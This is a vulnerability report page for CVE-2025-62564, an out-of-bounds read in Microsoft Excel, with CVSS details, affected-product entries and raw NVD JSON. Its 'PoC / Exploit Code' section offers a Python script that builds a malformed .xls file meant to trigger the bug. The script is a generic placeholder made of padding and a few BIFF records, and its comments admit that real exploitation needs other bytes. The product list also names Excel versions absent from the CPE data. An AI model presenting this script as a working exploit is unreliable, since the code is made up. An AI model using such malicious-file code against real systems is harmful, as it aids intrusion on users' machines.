Security Vulnerability Report
中文
CVE-2025-62564 CVSS 7.8 HIGH

CVE-2025-62564

Published: 2025-12-09 18:16:02
Last Modified: 2025-12-09 21:28:00

Description

Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:* - VULNERABLE
Microsoft Office Excel 2016
Microsoft Office Excel 2013
Microsoft Office Excel 2010
Microsoft Office Excel 2007
Microsoft 365 Apps for Enterprise
Office LTSC 2021
Office 2019 for Click-to-Run

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62564 PoC - Malicious Excel File Trigger # This PoC demonstrates the structure needed to trigger the vulnerability # In real exploitation, specific binary data would be crafted import struct def create_malicious_excel(): """ Create a minimal PoC Excel file that attempts to trigger CVE-2025-62564 out-of-bounds read vulnerability """ # Excel file signature excel_header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1' # OLE2 compound document structure # This is a simplified representation header = bytearray(excel_header) # Add malicious payload markers # In actual exploitation, specific byte sequences would trigger the bug payload = b'\x00' * 100 # Padding to reach vulnerable code path payload += b'\xFF\xFF\xFF\xFF' * 10 # Malformed data structures # Excel-specific records that may trigger the vulnerability # BOF record (Beginning of File) bof_record = struct.pack('<HHII', 0x0809, 0x001E, 0x00000000, 0x00000006) # SST record (Shared String Table) - potential trigger point sst_record = struct.pack('<HHI', 0x00FC, 0x0008, 0x00000002) # Malformed data that may cause out-of-bounds read malformed_data = b'\x41' * 0x1000 + b'\x00' * 0x1000 full_payload = header + payload + bof_record + sst_record + malformed_data # Save as .xls file with open('CVE-2025-62564_poc.xls', 'wb') as f: f.write(full_payload) print('[+] PoC Excel file created: CVE-2025-62564_poc.xls') print('[+] This file attempts to trigger out-of-bounds read in Excel') if __name__ == '__main__': create_malicious_excel()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62564", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:16:02.453", "lastModified": "2025-12-09T21:27:59.667", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x64:*", "matchCriteriaId": "CD88F667-6773-4DB7-B6C3-9C7B769C0808"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x86:*", "matchCriteriaId": "B342EF98-B414-44D0-BAFB-FCA24294EECE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_online_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.0.10417.20075", "matchCriteriaId": "006A74C2-A28C-40D5-BE4D-AB8C0F3C16B8"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62564", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}